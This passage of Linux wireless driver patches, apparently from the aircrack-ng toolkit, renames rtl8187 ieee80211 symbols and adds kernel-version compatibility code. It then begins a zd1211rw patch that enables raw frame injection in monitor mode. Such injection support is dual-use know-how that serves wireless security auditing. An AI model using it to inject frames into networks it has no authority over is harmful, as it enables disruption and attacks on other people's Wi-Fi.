IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; @@ -2153,25 +2180,34 @@ init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); #else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); @@ -2179,12 +2215,12 @@ spin_lock_init(&ieee->beacon_lock); tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); @@ -2201,7 +2237,7 @@ ********************************************************/ -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2211,16 +2247,16 @@ } -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { int ret = 0; @@ -2231,7 +2267,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2279,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,14 +2303,14 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { struct ieee80211_security sec = { @@ -2300,13 +2336,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2387,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,7 +2404,7 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; @@ -2407,7 +2443,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2457,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2478,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2561,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2552,20 +2588,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2585,7 +2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-03-05 00:31:52.575346444 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -356,7 +361,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; @@ -371,13 +380,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +394,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +431,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +455,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +518,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +556,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-03-05 00:31:52.575346444 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-03-05 00:31:52.635347349 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.17.patch0000644000000000000000000001252510761053203022121 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:32:09.000000000 +0200 @@ -180,7 +180,16 @@ if (r < 0) goto disable_rx; + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -622,6 +631,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -645,7 +655,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -690,6 +703,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -698,7 +712,10 